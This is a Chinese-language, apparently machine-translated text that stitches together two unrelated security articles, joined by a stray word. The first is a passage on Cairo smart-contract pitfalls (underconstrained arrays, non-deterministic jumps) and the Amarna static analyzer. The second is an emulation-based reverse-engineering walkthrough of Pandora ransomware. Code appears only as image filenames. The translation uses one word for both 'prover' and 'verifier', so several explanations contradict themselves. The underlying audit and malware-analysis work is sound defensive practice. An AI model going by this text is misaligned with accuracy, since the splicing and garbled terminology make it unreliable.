該程序通過使用提示中的Python數學庫計算n的平方根。但是在驗證時，這段代碼不會運行，驗證程序需要檢查結果是否真的是平方根。因此，在函數返回結果之前，函數包含一個檢查，以驗證n是否等於res * res。

Underconstrained結構Cairo 缺乏對while 和for 循環的支持，程序員只能使用原有的舊遞歸進行迭代。讓我們考慮一下Cairo的“動態分配”挑戰。挑戰要求我們編寫一個函數，給定一個元素列表，將這些元素平方，並返回一個包含這些平方元素的新列表：

10.1.png

10.2.png

運行此代碼將按預期輸出數字1、4、9和16。

但是，如果發生錯誤（或錯誤的錯誤）並導致以零長度調用sqr_array 函數會發生什麼？

11.png

基本上，會發生以下情況：

sqr_array 函數將分配res_array 並調用_inner_sqr_array(array, res_array, 0)。

_inner_sqr_array 會將長度與0 進行比較並立即返回。

sqr_array 將返回已分配（但從未寫入）的res_array。

那麼當你在new_array 的第一個元素上調用serialize_word 時會發生什麼？

按原樣運行代碼將導致錯誤，因為new_array的值是未知的：

12.png

按原樣運行上述代碼後出現的錯誤。

但是，請記住，通常你不會運行代碼。你將驗證程序輸出某些值的證據。而且我實際上可以向你證明該程序可以輸出你想要的任何四個值！

13.png

下面的事實將該程序與輸出[1,3,3,7]綁定：

14.png

根據事實註冊合同，這一事實是有效的：

15.png

事實註冊表對程序事實的驗證。

可以看到，由於返回的數組只是分配的，從不寫入（因為它的長度為0，所以遞歸一開始就停止），驗證程序可以在提示中寫入數組，提示代碼不會影響程序的哈希！

惡意的sqr_array 函數實際上如下：

16.png

簡而言之，如果有一些錯誤使數組的長度為0，惡意驗證程序可以創建他想要的任意結果。

你可能會有疑問，惡意驗證程序不能簡單地在程序末尾添加一個提示來以他希望的任何方式更改輸出。好吧，他可以，只要之前沒有寫過那個內存；這是因為Cairo 的內存是一次性寫入的，所以每個內存單元只能寫入一個值。

由於Cairo中內存的工作方式，這種創建最終結果數組的模式是必要的，但它也存在安全問題的風險：跟踪該數組長度的一個簡單的錯誤可能允許惡意驗證程序任意控制數組內存。

非確定性跳躍對於第一次閱讀Cairo的程序員來說，非確定性跳躍是另一種看起來不自然的代碼模式。它們結合提示和條件跳躍來重定向帶有某個值的程序控制流。驗證程序可以不知道這個值，因為驗證程序可以在提示中設置它。

例如，我們可以編寫一個程序，檢查兩個元素x和y是否相等，方法如下：

17.png

運行此程序將返回預期結果（0 表示不同的值，1 表示相等的值）：

18.png

然而，這個函數實際上很容易受到惡意驗證程序的攻擊。注意跳躍指令如何僅依賴於提示中的值：

19.png

而且我們知道提示完全可以由驗證程序控制！這意味著驗證程序可以在該提示中編寫任何其他代碼。事實上，不能保證驗證程序確實檢查了x 和y 是否相等，甚至不能保證x 和y 以任何方式使用過。由於沒有其他檢查，該函數可以返回驗證程序想要的任何內容。

正如我們之前看到的，程序哈希不考慮提示中的代碼；因此，驗證程序無法知道是否執行了正確的提示。惡意驗證程序可以通過更改提示代碼並將每個證明提交到SHARP。

那麼我們如何解決這個問題呢？每當我們看到非確定性跳轉時，我們需要確保跳轉是有效的，並且驗證程序需要驗證每個標籤中的跳轉：

21.png

在本例中，該函數足夠簡單，代碼只需要一個if語句：

22.png

在審核Cairo代碼時，我們注意到除了VScode中的語法高亮顯示外，基本上沒有任何形式的語言支持。然後，當我們在代碼中發現問題時，我們希望確保類似的模式不會出現在代碼庫的其他地方。

我們決定為Cairo 構建Amarna，一個靜態分析器，這樣就能夠創建自己的規則並蒐索我們感興趣的代碼模式，不過不一定是安全漏洞，但任何安全敏感操作都需要分析或檢查代碼時需要更多的關注。

Amarna 將其靜態分析結果導出為SARIF 格式，使我們能夠使用VSCode 的SARIF Viewer 擴展輕鬆地將它們集成到VSCode 中，並查看代碼中帶下劃線的警告：

23.png

帶有下劃線的dead store（左）和顯示來自Amarna 的結果的SARIF Viewer 擴展的Cairo 代碼（右）。

Amarna是如何工作的？ Cairo 編譯器是用Python 編寫的，它使用解析工具包lark 來定義語法並構建其語法樹。使用Lark 庫，可以直接為程序的抽象語法樹構建訪問者。從這裡開始，編寫規則就是對要在樹中找到的內容進行編碼。

我們編寫的第一條規則是強調算術運算+、-、* 和/的所有用途。當然，並非所有除法的使用都是不安全的，但是在這些操作下劃線後，開發人員會被提醒Cairo算術在有限域上工作，並且除法不是整數除法，就像在其他編程語言中那樣。字段算術下溢和溢出是開發人員需要注意的其他問題。通過突出顯示所有算術表達式，Amarna 幫助開發人員和審查人員快速放大代碼庫中在這方面可能存在問題的位置。

檢測所有分區的規則很簡單：它基本上只是創建帶有文件位置的結果對象並將其添加到分析結果中：

24.png

當我們尋找更複雜的代碼模式時，我們開發了三類規則：

1.本地規則獨立分析每個文件。上述用於查找文件中所有算術運算的規則是本地規則的一個示例。

2.收集規則獨立地分析每個文件，並收集供後處理規則使用的數據。例如，我們有收集所有聲明函數和所有調用函數的規則。

3.在分析所有文件並使用收集規則收集的數據之後，將運行後處理規則。例如，在收集規則找到文件中所有聲明的函數和所有調用的函數之後，後處理規則可以通過標識聲明但從未調用的函數來找到所有未使用的函數。

到目前為止，我們已經實施了10 條規則，其影響範圍從幫助我們審核代碼的信息性規則（標記為Info）到可能對安全敏感的代碼模式（標記為警告）：

25.png

雖然這些規則中的大多數屬於信息類別，但它們肯定具有安全含義：例如，未能檢查函數的返回碼可能會非常嚴重（想像一下，如果函數是簽名驗證）；錯誤代碼規則將找到其中一些實例。

未使用的參數規則可以找到函數中沒有使用的參數，這是通用編程語言linter 中的常見模式；這通常表明存在使用該參數的某種意圖，但從未實際使用過，這也可能具有安全隱患。

HireHackking

對於逆向工程人員來說，他們會經常使用模擬技術來對抗此示例中的函數調用混淆和字符串加密。我們將使用flare-emu 框架實現一個IDAPython 腳本，以使IDA Pro 中的反彙編更具可讀性。這將對樣品的靜態分析有很大幫助。

以Pandora為例在這篇文章中，我將討論在Pandora 中看到的惡意程序研發人員使用的兩種特定的反逆向工程技術：

1.使用不透明謂詞進行函數調用混淆；

2.加密字符串；

使用不透明謂詞的函數調用混淆下圖顯示了Pandora 勒索軟件中一個簡單的函數調用在解壓後的樣子。

graphic-01.png

Pandora 中的標準函數調用

我們可以看到正在調用的函數的地址是在運行時計算的。 cs:qword_7FF6B6FF9AB8 似乎是某種函數地址表的基地址。然後我們使用硬編碼值在該表中找到正確的函數指針，這就是我們在調用它之前加載到rax 中的內容。不透明謂詞通常表示程序中的表達式，其結果為程序員所知，但仍需要在運行時進行評估。它以許多不同的方式用作混淆和反分析技術。在這種情況下，進入rax 的值是固定的，但是因為它仍然必須在運行時計算，它會破壞靜態分析工具。

如果我們以上圖為例，rax 中的地址是這樣計算的：

2.png

或十進制：

3.png

此類問題的簡單解決方案是在調試器中運行惡意軟件並從那裡獲取地址。但是在這個示例中，所有函數調用都是這樣的，靜態鏈接庫中的函數調用除外。這意味著我們需要在調試器中的每個函數調用處中斷，以便對惡意軟件中發生的事情進行自動化處理。

加密字符串這個特定勒索軟件樣本的另一個挑戰是所有有趣的字符串都被加密了。二進製文件中有很多純文本字符串（如下圖所示），但它們大多是Windows API 函數名稱和嵌入式庫中的字符串。沒有任何可以幫助我們了解惡意軟件正在做什麼的字符串以純文本形式提供。這在現代惡意軟件中非常常見，因此該挑戰的解決方案可用於對抗各種惡意軟件。

4.png

Pandora 示例中的字符串

通常當遇到帶有加密字符串的惡意軟件時，有兩種方法：

1.使用動態方法，例如調試或模擬，並使用惡意軟件自己的字符串解密函數來完成工作。

2.如此詳細地了解解密功能，以至於可以在一個簡單的腳本中重新實現它。當加密是簡單的單字節異或時，這通常是最簡單的途徑。

就Pandora 而言，至少有14 個不同的字符串解密函數，因此重新實現解密算法可能並不總是可行的。

模擬模擬允許我們假裝代碼運行在CPU 上，但模擬軟件運行的不是真正的CPU，而是運行代碼。與實際執行相比，模擬通常非常慢。但是，它允許我們完全控制我們想要運行的內容以及與模擬代碼的高度交互。例如，使用模擬器，我們可以只模擬惡意軟件的一個功能，甚至只是幾行代碼，並在每條指令處評估程序的狀態。在這種情況下，模擬的一大優勢是我們可以直接在IDA Pro 中進行。

flare-emuflare-emu 是由Mandiant 的FLARE 團隊創建的模擬框架。它建立在著名的模擬引擎Unicorn Engine 和IDAPython 之上。可以直接使用Unicorn 引擎，但flare-emu 隱藏了它的一些複雜性。本質上，人們可以定義想要模擬的內容，並為特定的掛鉤定義回調函數，當模擬到達該掛鉤時將調用這些函數。一個很好的例子是callHook 參數，它接受一個回調函數，每次將要模擬CALL 指令時調用該函數。在這個回調函數中，我們可以實現在那種情況下我們想做的任何事情，即轉儲寄存器、更改數據、跳過調用等。 flare-emu 變得非常簡單且相對易於使用。

解決挑戰我們可以編寫一些代碼來使用IDAPython 腳本解決這些挑戰。

函數調用混淆下圖再次顯示了我們首先要解決的問題。這是Pandora 代碼解包部分中main() 函數中的第一個函數調用。我們可以相當確定，如果我們模擬main() 函數並在調用之前檢查rax 的值，那麼我們會得到正確的結果。我們也可以讀出函數調用的參數，並將所有這些信息作為IDA Pro 中的註釋添加到彙編代碼中。

5.png

函數調用混淆

讓我們開始整理我們的IDAPython 腳本。下圖顯示了我們如何初始化模擬。當我們啟動腳本時，它應該模擬IDA 中光標當前所在的函數（由get_screen_ea() 返回）。

6.png

初始化模擬

要初始化flare-emu，我們只需要實例化一個EmuHelper。 Flare-emu 提供了不同的方式來運行我們的模擬。我們使用emulateRange() 函數，它用於指定我們想要模擬的內存範圍。我們將起始地址設置為函數的開頭，結束地址可以省略（python 中為None），這意味著模擬將一直運行，直到到達返回類型指令。請注意，iterateAllPaths() 而不是emulateRange() 也應該可以工作，但是由於Pandora 中的另一種混淆技術導致了問題，這不在本文的討論範圍內。但在不太複雜的惡意軟件中iterateAllPaths() 可能是更好的選擇。

當調用flare-emu 的一個模擬函數（在這種情況下為emulateRange()）時，模擬開始。該框架允許我們為模擬提供額外的細節，例如帶有寄存器和堆棧的處理器狀態，或回調函數的數據，但我們現在不需要這些。

emulateRange() 允許我們為不同的掛鉤定義回調函數：

1.指令掛鉤：在模擬每條指令之前調用。我用它為IDA 中模擬的每條指令塗色，以可視化模擬的覆蓋範圍。

2.調用掛鉤：每當模擬CALL 類型的指令時調用。請注意，默認情況下不會模擬被調用的函數。

3.內存訪問掛鉤：每當訪問內存以進行讀取或寫入時調用。

對於我們當前的任務，我們只需要callHook。如上圖中的第9 行所示，我們已經將call_hook 函數名稱作為callHook 參數傳遞。接下來，我們需要定義callHook 函數，如下圖所示。

7.png

call_hook() 的第一個實現

我們創建了call_hook() 函數，每次在模擬CALL 指令之前，模擬器都會調用該函數。在其當前狀態下，該函數將記錄它已被執行，然後使用analysisHelper 檢查當前CALL 指令中的操作數是否為寄存器。如果沒有，那麼我們可以返回，因為只有註冊案例對我們來說是有趣的。然後我們恢復寄存器的名稱(operand_name) 及其值(operand_name) 並暫時記錄它們。如果我們針對main 函數運行腳本，那麼我們會得到下圖中的結果。請注意，由於Pandora 代碼中存在許多其他惡意混淆，這個簡單的腳本將無法模擬整個函數。但這可以通過擴展腳本來完成。

8.png

第一次測試的結果

通過模擬找到了三個CALL 指令並打印了操作數寄存器的值。仔細想想，我們基本上解決了函數調用混淆的問題，因為我們現在知道不同的CALL 指令調用了哪些地址。現在我們只需要將它添加到IDA 中的反彙編中。這些是每當我們解析CALL 指令時我們想要在IDA 中做的事情：

1.添加一個帶有被調用函數地址的註釋。

2.為該函數調用添加帶有參數的註釋。

在IDA 中為調用的函數添加交叉引用

更新後的代碼如下圖所示。

9.png

添加評論和交叉引用

在創建評論時，我們使用了來自flare-emu 的一個功能。它允許我們以獨立於架構的方式獲取函數參數。這個惡意軟件是x86_64，所以我們可以只使用rcx、rdx、r8、r9 和堆棧。調用掛鉤獲取的參數之一是參數變量，它將包含flare-emu認為是此函數調用的參數的值。當然，如果不分析被調用的函數，我們將不知道需要多少參數，所以我們只打印所有參數。

最後（第23 行）我們添加了一個IDA 交叉引用，這將對我們的分析有很大幫助。如果我們在main 函數上再次運行此代碼，我們會得到下圖中的結果。

10.png

函數調用解析的結果

加密字符串現在我們已經解決了第一個問題，並且有了一個可以使用的模擬框架，我們可以繼續我們的第二個挑戰，解密字符串。為了能夠知道要模擬哪個函數來解密字符串，我們唯一的要求是我們需要知道哪些函數是解密函數。與往常一樣，逆向工程是一個迭代過程。一旦我們運行我們在main 函數上編寫的腳本，那麼我們就可以開始分析調用的函數了。那麼我們如何判斷一個函數是否是一個解密函數呢？

1.我們在IDA 中看到了這一點。無需深入研究0x7ff6b6f971e0 處的函數，我們可以在圖形視圖中看到它相當簡單並且有一些循環。

11.png

0x7ff6b6f971e0 處函數的圖形視圖

如果我們滾動瀏覽代碼，我們會在下圖中找到基本塊，我們可以看到它迭代了某個值並對其進行異或。這表明它可能是基於XOR 的編碼/加密。

12.png

XOR 表示解碼/解密

2.我們在調試器中看到它。在進行靜態分析的同時，我們當然也可以調試惡意軟件（在安全的環境中）。在調試器中，當我們看到一個函數獲取一些地址作為輸入並返回一個字符串時，這可能意味著它是一個解密函數。下圖顯示了0x7ff6b6f971e0 處的函數何時返回，並且確實在rcx 中返回了字符串“ThisIsMutexa”。

13.png

解密後的字符串出現在rcx 中

一旦我們知道一個函數是一個解密函數，我們就可以相應地重命名它（我們使用了mw_decrypt_str()）。有趣的是，Pandora 使用了多個解密函數，隨著我研究深入，我們慢慢發現了這些函數。最後，我們確定了14 個不同的解密函數，但其中大多數看起來與圖9 非常相似，這使我們能夠快速查看一個函數是否只是另一個解密函數。

一旦我們知道了(一些)解密函數，我們就可以改進我們的idpython腳本，以便在看到解密函數被調用時模擬函數調用。這實際上非常類似於flare-emu文檔中的一個示例，該文檔展示了此類代碼通常可以很好地重用。

下圖顯示了更新後的call_hook() 函數。從第23 行開始，我們首先檢查我們正在調用的地址處的函數是否具有包含字符串mw_decrypt_str 的名稱。這就是我們判斷被調用函數是否為解密函數的方式。

14.png

向call_hook() 添加解密

如果它是一個解密函數，那麼我們在腳本中調用decrypt()函數。這將返回解密後的純文本字符串。然後，我們創建一個註釋，其中也將包含解密後的字符串。

解密過程如下圖所示。我們創建一個新的EmuHelper 實例，在啟動emulateRange 時，我們使用函數名稱(fname) 來獲取函數的地址作為起始地址。我們還將argv 數組的前四個元素作為參數寄存器傳遞。最後我們返回argv[0]中的值。

15.png

模擬解密進程

在IDA 中運行腳本後，結果如圖12 所示。解密後的字符串是ThisIsMutexa，它被添加到註釋中並記錄在輸出中。

16.png

字符串解密成功

現在我們可以自動解密字符串了。隨著我們對代碼的分析和更多解密函數的發現，我們可以在調用這些解密函數的函數上重新運行腳本來恢復純文本字符串。

結論Pandora 勒索軟件包含混淆和反逆向工程技術。在這篇文章中，我們研究了其中兩個：函數調用混淆和字符串加密。我們使用flare-emu 模擬框架編寫了一個IDAPython 腳本來解析函數調用的地址和參數，並模擬解密函數以將字符串恢復為純文本。最終腳本可以進一步開發，以應對Pandora 勒索軟件深入分析中討論的其他反逆向工程挑戰。